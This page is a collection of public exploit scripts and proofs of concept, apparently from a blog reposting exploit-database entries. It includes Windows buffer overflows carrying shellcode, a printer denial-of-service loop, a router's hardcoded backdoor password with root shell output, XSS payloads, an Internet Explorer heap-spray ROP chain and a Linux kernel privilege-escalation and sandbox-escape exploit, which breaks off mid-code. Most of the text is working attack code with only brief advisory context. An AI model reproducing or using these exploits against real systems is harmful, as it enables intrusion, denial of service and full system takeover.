#!/usr/bin/env python
# coding: utf-8
# Exploit Title: Jnes Version 1.0.2 Stack Buffer Overflow
# Date: 3-11-2017
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: http://www.jabosoft.com/home
# Software Link: http://www.jabosoft.com/categories/3
# Version: v1.0.2.15
# Tested on: Windows 7 Home Premium SP1 SPANISH
# Category: Windows Local Exploit
# How to use: open the emulator load any ROM go to options - cheats - add - Pro-Action Replay
# paste the contents of the open.txt in the box <address>-<value> click on ok
# you will get an error message click on ok close the cheat menu and bum
import struct
fuzzing = open('open.txt','w+')
eip = struct.pack('<I', 0x75744E2B) # (overwrites EIP with the address of user32.dll)
buffer = "A" * 812
nops = "\x90" * 20 #Nops
shellcode = ( #cmd.exe Shellcode
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08"
"\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08"
"\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c"
"\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9"
"\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49"
"\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65"
"\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d"
"\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9"
"\x51\xff\xd6")
fuzzing.write(buffer + eip + nops + shellcode)
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863547125
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error. While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:
#!/usr/bin/python
import socket
import sys
target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")
payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"
print "[*] Starting DOS. Payload will be sent every time the server responds."
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target,int(port)))
print "[*] Sending DOS payload"
s.send(payload)
# Wait for server to respond with 500 error
s.recv(4096)
s.close()
except:
print("[!] Can't connect to target")
sys.exit()
# Exploit Title: Actiontec C1000A backdoor account
# Google Dork: NA
# Date: 11/04/2017
# Exploit Author: Joseph McDonagh
# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
# Software Link: N/A Hardware
# Version: Firmware CAC003-31.30L.86
# Tested on: Linux
# CVE : NA
# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.
# Proof of Concept
$ telnet 192.168.0.1
===Actiontec xDSL Router===
Login: admin
Password: CenturyL1nk
> sh
BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
Enter 'help' for a list of build-in commands
# cat /etc/passwd
admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
# cat /proc/version
Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
# cat /etc/group
root::0:root,admin,support,user
# Exploit Title: Logitech Media Server : Persistent Cross Site Scripting(XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Software Link: [download link if available]
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.
POC:
Access and go to the favorites tab and add a new favorite.
Add script as the value of the field.
Payload : <script> alert(1)</script>
Script saved and gives a pop-up to user every time they access that page.
Therefore, Persistent XSS.
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-SOFT-CONSOLE-REMOTE-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: apparitionSec
Vendor:
=============
www.avaya.com
Product:
===========
Avaya IP Office (IPO)
v9.1.0 - 10.1
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.
Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.
Vulnerability Type:
===================
Remote Buffer Overflow
CVE Reference:
==============
CVE-2017-11309
ASA-2017-307
Security Issue:
================
SoftConsole.exe does not check bounds when reading server response on making an outbound connection, resulting in a classic
Buffer Overflow exploit.
Avaya IP Office user must connect to a malicious server where a remote attacker can then deliver the buffer overflow
payload in the server response, exploiting the SoftConsole client. This vulnerability allows attackers to deliver and
execute arbitrary attacker supplied code on the Avaya host system.
References:
===========
https://downloads.avaya.com/css/P8/documents/101044086
POC Video URL:
==============
https://vimeo.com/224679849
Exploit/POC:
=============
import struct,socket
#Log data, item 8
# Address=50E083A1
# Message= 0x50e083a1 : pop ecx # pop ebp # ret 0x04 | {PAGE_EXECUTE_READ} [IndyCore190.bpl]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v19.0.14356.6604
#(C:\Program Files (x86)\Avaya\IP Office\SoftConsole\IndyCore190.bpl)
#50E083A1 #POP ECX POP EBP RET
'''
No SafeSEH
'''
HOST="127.0.0.1"
PORT=80
#shellcode to call wusa.exe Windows Update Standalone Installer (Tested Win 7)
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08"
"\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x8B\x7B"
"\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99\x32\x17\x66\xC1"
"\xCA\x01\xAE\x75\xF7\x66\x81\xFA\x10\xF5\xE0\xE2\x75\xCF\x8B\x53"
"\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68"
"\x2E\x65\x78\x65\x68\x77\x75\x73\x61\x54\x87\x04\x24\x50\xFF\xD5"
"\xCC")
'''
calculated by taking the negative of the number and convert to hex:
in gdb
1
2
p/x -1116
$4 = 0xfffffba4
So now we know that our near jump is going to be \xe9\xa4\xfb\xff\xff.
'''
seh=struct.pack("<L", 0x50E149FD) #POP ECX POP EBP RET
#payload="A"*564+"BBBBRRRR"+"A"*232 #control SEH here
#(gdb) p/x -112
#$1 = 0xffffff90
negjmp="\xeb\x90\xff\xff"
payload="A"*452+"\x90"*10+sc+"A"*5+negjmp+seh+"\x90"*226
s = socket.socket()
host = ''
s.bind((HOST, PORT))
s.listen(5)
print 'Avaya IP Office SoftConsole 9.1.0'
print '0day Remote Buffer Overflow Exploit'
print 'Discovery / exploit: hyp3rlinx\n'
print 'Listening on port 80 for Avaya client connectionz...'
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
print 'KABOOM!!!'
conn.close()
s.close()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: July 7, 2017
Vendor reply "under investigation" : July 7, 2017
Vendor acknowledgement of issue : July 12, 2017
CVE assigned by mitre: July 13, 2017
Vendor advisory: November 4, 2017
November 5, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: ApparitionSec
Vendor:
=============
www.avaya.com
Product:
===========
Avaya IP Office (IPO)
v9.1.0 - 10.1
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.
Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.
Vulnerability Type:
====================
ActiveX Remote Buffer Overflow
CVE Reference:
==============
CVE-2017-12969
ASA-2017-313
Security Issue:
================
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.
Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
Safe for Script: False
Safe for Init: False
ACCESS_VIOLATION
8C4A77 MOV EAX,[ECX]
SEH Chain:
-----------
1 8D00A3 po.dll
2 36A7E95 CIPElements.dll
3 36A8115 CIPElements.dll
4 788719 ViewerCtrl.OCX
5 788533 ViewerCtrl.OCX
6 78862A ViewerCtrl.OCX
7 6008793E mfc90u.dll
8 60089B31 mfc90u.dll
9 779858C5 ntdll.dll
(d360.1040c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for po.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for CIPElements.dll -
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
po!cip::po::SpecialObjects::getPresetObject+0x77:
06064a77 8b01 mov eax,dword ptr [ecx] ds:002b:00000000=????????
0:008> !load winext/msec
0:008> !exploitable
!exploitable 1.6.0.0
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for mshtml.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for user32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ieframe.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for iertutil.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for IEShims.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
Exploitability Classification: PROBABLY_EXPLOITABLE
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)
The data from the faulting address is later used as the target for a branch.
References:
==============
https://downloads.avaya.com/css/P8/documents/101044091
Exploit/POC:
=============
<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />
<script language='vbscript'>
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"
prototype = "Function open ( ByVal containerId As String ) As Long"
memberName = "open"
progid = "ViewerCtrlLib.ViewerCtrl"
argCount = 1
payload=String(5142, "A")
victim.open payload
</script>
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: July 12, 2017
Vendor acknowlegement: July 14, 2017
CVE assigned by mitre : August 19, 2017
Vendor advisory : November 4, 2017
November 5, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: Logitech Media Server : HTML code injection and execution.
# Shodan Dork: Search Logitech Media Server
# Date: 11/03/2017
# Exploit Author: Dewank Pant
# Vendor Homepage: www.logitech.com
# Version: 7.9.0
# Tested on: Windows 10, Linux
# CVE : Applied For.
POC:
1. Access and go to the Radio URL tab and add a new URL.
2. Add script as the value of the field.
3. Payload : <script> alert(1)</script>
4. Script saved and gives an image msg with a javascript execution on image click.
5. Therefore, Persistent XSS.
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: SMPlayer 17.11.0 - '.m3u' Crash (PoC)
# Date: 05-11-2017
# Vulnerable Software: SMPlayer v17.11.0
# Vendor Homepage: http://www.smplayer.info
# Version: v17.11.0
# Software Link: http://www.smplayer.info/en/downloads
# Tested On: Windows 7 x64
#
#
# PoC: generate crash.m3u, open playlist twice in app
#
#
file="crash.m3u"
crash = "A"*24538 #crashes on 24538, but more will do
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13
// By Chris Salls (twitter.com/chris_salls)
// This exploit can be used to break out out of sandboxes such as that in google chrome
// In this proof of concept we install the seccomp filter from chrome as well as a chroot,
// then break out of those and get root
// Bypasses smep and smap, but is somewhat unreliable and may crash the kernel instead
// offsets written and tested on ubuntu 17.10-beta2
/*
salls@ubuntu:~/x$ uname -a
Linux ubuntu 4.13.0-12-generic #13-Ubuntu SMP Sat Sep 23 03:40:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
salls@ubuntu:~/x$ gcc poc_smap_bypass.c -lpthread -o poc
salls@ubuntu:~/x$ ./poc
Installed sandboxes. Seccomp, chroot, uid namespace
for spray assuming task struct size is 5952
check in /sys/kernel/slab/task_struct/object_size to make sure this is right
If it's wrong the exploit will fail
found kernel base 0xffffffff87600000
found mapping at 0xffff8eb500000000
found mapping end at 0xffff8eb5a0000000
9999 threads created
found second mapping at 0xffff8eb600000000
found second mapping end at 0xffff8eb750000000
last_mapping is 0x150000000 bytes
min guess ffff8eb650000000
starting guessing
this part can take up to a minute, or crash the machine :)
found my task at 0xffff8eb67555dd00
joining threads
part 2 start
mapped 0x100000000
trying to find physmap mapping
found mapping at 0xffff8eb500000000
f213000 changed to 0
page locked!
detected change at 0xffff8eb658000000
physmap addr is good
here we go
trying to call system...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare),1000(salls)
# head /etc/shadow
root:!:17447:0:99999:7:::
daemon:*:17435:0:99999:7:::
*/
/****** overview of exploit ********
waitid uses unsafe_put_user without checking access_ok,
allowing the user to give a kernel address for infop and write over kernel memory.
when given invalid parameters this just writes the following 32 bit integers
0, 0, 0, _, 0, 0, 0
(the 4th element is unchanged)
inside the chrome sandbox we cannot fork (can only make threads)
so we can only give invalid parameters to waitid and only write 0's to kernel memory,
To exploit this in the presence of smap:
I start out by iteratively calling waitid until we find the kernel's base address
When it's found it will not return efault error from the syscall
Now, I can only write 0's at this point, so I spray 10000 threads and attempt
to write 0's over the beginning of the task struct to unset the seccomp flag
This part is kind of unreliable and depends on the size of the task struct which
changes based on cpu.
If it succceeds, I now know where the task struct is and no longer have seccomp
By shifting the location of the write and using the pid of the child process, I
can now write 5 consecutive arbitrary non-zero bytes. So I can create an address
with this bitmask 0xffffffffff000000
Now to create data at such an address I use the physmap, a mirror of all userland
pages that exists in kernel memory. Mmap a large amount of memory, try writing at
various places in the physmap until we see userland memory change. Then mlock that
page.
With controlled data in the kernel, I use the 5 byte write described above to change
our task->files to point at the controlled page. This give me control of the file
operations and arbitrary read/write.
From here, I remove the chroot and edit my creds to make that thread root.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <errno.h>
#include <wait.h>
#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <seccomp.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <linux/filter.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <sys/mman.h>
#include <sched.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/futex.h>
#include <limits.h>
#include <sys/ioctl.h>
#define PR_SET_NO_NEW_PRIVS 38
#define __NR_seccomp 317
#define SECCOMP_SET_MODE_FILTER 1
/************ task offsets *************/
// from prctl_get_seccomp
#define OFFSET_OF_SECCOMP_MODE 2920
#define OFFSET_OF_SECCOMP 2928
// from ptrace_access_vm
#define OFFSET_OF_PARENT 2328
// from sys_getcwd
#define OFFSET_OF_FS 2784
// from __fget_light
#define OFFSET_OF_FILES 2792
// from
#define OFFSET_OF_NSPROXY 2800
// from do_acct_process
#define OFFSET_OF_SIGNAL 2808
// from sys_getuid
#define OFFSET_OF_TASK_CRED 2720
// from get_task_comm
#define OFFSET_OF_COMM 2728
// from __put_task_struct
#define OFFSET_OF_TASK_USAGE 72
// from keyctl_session_to_parent
#define OFFSET_OF_THREAD_GROUP 2480
/******* files offsets ********/
// from fput
#define OFFSET_OF_F_COUNT 56
// from free_file_rcu
#define OFFSET_OF_F_CRED 144
// from file_alloc_security
#define OFFSET_OF_F_SECURITY 192
//
#define OFFSET_OF_F_INODE 32
/****** inode offsets *********/
#define OFFSET_OF_IFLAGS 12
// should assert nsproxy = files+8
// and fs = files-8
// since that's why we need to fix them up
// nsproxy offsets
#define OFFSET_OF_NS_COUNT 0
// fs offset
#define OFFSET_OF_FS_COUNT 0
// cred offsets
#define CRED_UID_OFF 4
#define CRED_ID_SIZE 32
#define CRED_CAP_OFF 40
#define CRED_CAP_SIZE 40
#define CRED_NS_OFF 136
#define OFFSET_OF_CRED_SECURITY 120
#define FMODE_LSEEK 4
// global offsets
#define KERNEL_BASE_DEFAULT 0xFFFFFFFF81000000
// in cache_seq_next
// mov rax, [rsi]; ret
#define ARB_READ_GADGET_OFF (0xffffffff8109d2b2-KERNEL_BASE_DEFAULT)
// in device_wakeup_attach_irq
// mov [rdx], esi; ret
#define ARB_WRITE_GADGET_OFF (0xffffffff810da932-KERNEL_BASE_DEFAULT)
#define SELINUX_ENFORCING_OFF (0xffffffff824d1394-KERNEL_BASE_DEFAULT)
#define INIT_USER_NS (0xffffffff81e508a0-KERNEL_BASE_DEFAULT)
#define INIT_FS (0xffffffff81f23480-KERNEL_BASE_DEFAULT)
// operations offsets in qwords
#define OFFSET_LSEEK 1
#define OFFSET_IOCTL 9
// 4.13+
// where read/write data is in kernel
// had to play with last 3 nibbles to get it to not crash
#define start_rw_off 0x9f5fe0
// a global for the f_op in userspace
unsigned long *f_op;
struct PagePair {
unsigned long userland_page;
unsigned long kernel_page;
};
unsigned long kernel_base;
void do_exploit_2(unsigned long task_addr);
void get_physmap(struct PagePair *pp);
// global for threads
#define NUM_THREAD_SPRAY 10000
pthread_t g_threads[NUM_THREAD_SPRAY];
/********** HELPERS *************/
void raw_input() {
int i;
printf("> ");
read(0, (char*)&i, 4);
}
int write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1) {
perror("open");
return 0;
}
if (write(fd, buf, len) != len) {
close(fd);
return 0;
}
close(fd);
return 1;
}
static inline void native_cpuid(unsigned int *eax, unsigned int *ebx,
unsigned int *ecx, unsigned int *edx)
{
/* ecx is often an input as well as an output. */
asm volatile("cpuid"
: "=a" (*eax),
"=b" (*ebx),
"=c" (*ecx),
"=d" (*edx)
: "0" (*eax), "2" (*ecx));
}
void install_mock_chrome_sandbox() {
char *buffer = NULL;
long length;
FILE *f = fopen ("chrome_seccomp_filter", "rb");
if (f)
{
fseek(f, 0, SEEK_END);
length = ftell (f);
fseek(f, 0, SEEK_SET);
buffer = malloc(length);
if (buffer)
{
fread(buffer, 1, length, f);
}
fclose(f);
}
else {
printf("couldn't open chrome_seccomp_filter\n");
exit(-1);
}
if (length%8 != 0) {
printf("length mod 8 != 0?\n");
exit(-1);
}
// set up namespace
int real_uid = 1000;
int real_gid = 1000;
int has_newuser = 1;
if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
printf("no new user...\n");
has_newuser = 0;
}
if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
